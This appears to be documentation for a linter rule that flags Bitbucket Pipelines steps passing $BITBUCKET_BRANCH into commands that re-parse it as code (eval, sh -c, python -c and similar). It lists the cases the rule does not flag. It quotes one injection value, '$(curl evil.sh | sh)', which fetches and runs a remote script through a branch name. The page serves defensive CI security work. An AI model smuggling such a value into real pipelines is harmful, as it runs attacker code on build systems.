What it flags
Ascript: or after-script: line of a step: anywhere in bitbucket-pipelines.yml (default, branches, pull-requests, tags, custom, parallel and stage pipelines, and definitions:) that hands $BITBUCKET_BRANCH to a command that parses it as code. The shell expands the variable, so a plain echo "$VAR" or git checkout "$VAR" only passes text and is not reported. The risk is a second parse: eval re-reads all its arguments as commands, and sh -c, bash -c, python -c, node -e, ruby -e, perl -e, php -r and pwsh -Command read their next argument as code, so a value such as $(curl evil.sh | sh) runs. Bitbucket docs
Not flagged: the variable in single quotes or escaped (\$VAR), so the inner shell reads it from the environment; the variable passed as a later argument (sh -c 'echo "$1"' _ "$VAR"); eval inside a string or after another command on the same line; text inside $(...) or backticks, unless an echo or printf there prints it back into the code; and scripts that span lines with a trailing backslash. YAML anchors and aliases are not expanded. Pipe variables: are not checked.
Configuration
Set the rule to"off" in loadwise.config.json to drop its findings: